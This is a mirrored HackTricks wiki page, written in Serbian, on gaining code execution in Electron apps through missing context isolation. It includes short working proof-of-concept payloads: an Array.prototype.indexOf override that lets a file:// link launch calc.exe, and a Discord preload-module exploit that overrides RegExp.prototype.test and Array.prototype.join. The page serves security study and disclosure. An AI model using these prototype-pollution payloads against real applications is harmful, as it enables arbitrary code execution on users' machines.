mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.6 KiB
Markdown
83 lines
3.6 KiB
Markdown
# Electron contextIsolation RCE via preload code
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Primer 1
|
|
|
|
Primer sa [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
|
|
|
Ovaj kod otvara http(s) linkove u podrazumevanom pretraživaču:
|
|
|
|
.png>)
|
|
|
|
Nešto poput `file:///C:/Windows/systemd32/calc.exe` moglo bi se koristiti za izvršavanje kalkulatora, `SAFE_PROTOCOLS.indexOf` to sprečava.
|
|
|
|
Stoga, napadač bi mogao da ubrizga ovaj JS kod putem XSS-a ili proizvoljne navigacije stranica:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function () {
|
|
return 1337
|
|
}
|
|
</script>
|
|
```
|
|
Kao što će poziv `SAFE_PROTOCOLS.indexOf` uvek vraćati 1337, napadač može zaobići zaštitu i izvršiti kalkulator. Konačni exploit:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function () {
|
|
return 1337
|
|
}
|
|
</script>
|
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
|
```
|
|
Proverite originalne slajdove za druge načine izvršavanja programa bez traženja dozvola.
|
|
|
|
Naizgled, drugi način za učitavanje i izvršavanje koda je pristup nečemu poput `file://127.0.0.1/electron/rce.jar`
|
|
|
|
## Primer 2: Discord App RCE
|
|
|
|
Primer sa [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
|
|
|
Kada sam proveravao preload skripte, otkrio sam da Discord izlaže funkciju koja omogućava pozivanje nekih dozvoljenih modula putem `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, u web stranici.\
|
|
Ovde nisam mogao koristiti module koji se mogu koristiti za RCE direktno, kao što je _child_process_ modul, ali **pronašao sam kod gde se RCE može postići prepisivanjem ugrađenih JavaScript metoda** i ometanjem izvršavanja izloženog modula.
|
|
|
|
Sledeće je PoC. Mogao sam da potvrdim da se **calc** aplikacija **otvara** kada **pozovem funkciju `getGPUDriverVersions`** koja je definisana u modulu pod nazivom "_discord_utils_" iz devTools, dok **prepisujem `RegExp.prototype.test` i `Array.prototype.join`**.
|
|
```javascript
|
|
RegExp.prototype.test = function () {
|
|
return false
|
|
}
|
|
Array.prototype.join = function () {
|
|
return "calc"
|
|
}
|
|
DiscordNative.nativeModules
|
|
.requireModule("discord_utils")
|
|
.getGPUDriverVersions()
|
|
```
|
|
Funkcija `getGPUDriverVersions` pokušava da izvrši program koristeći biblioteku "_execa_", kao u sledećem:
|
|
```javascript
|
|
module.exports.getGPUDriverVersions = async () => {
|
|
if (process.platform !== "win32") {
|
|
return {}
|
|
}
|
|
|
|
const result = {}
|
|
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
|
|
|
|
try {
|
|
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
|
|
} catch (e) {
|
|
result.nvidia = { error: e.toString() }
|
|
}
|
|
|
|
return result
|
|
}
|
|
```
|
|
Obično _execa_ pokušava da izvrši "_nvidia-smi.exe_", koji je naveden u `nvidiaSmiPath` varijabli, međutim, zbog prepisanog `RegExp.prototype.test` i `Array.prototype.join`, **argument se menja u "**_**calc**_**" u _execa**_**'s internom procesiranju**.
|
|
|
|
Specifično, argument se menja promenom sledeće dve komponente.
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|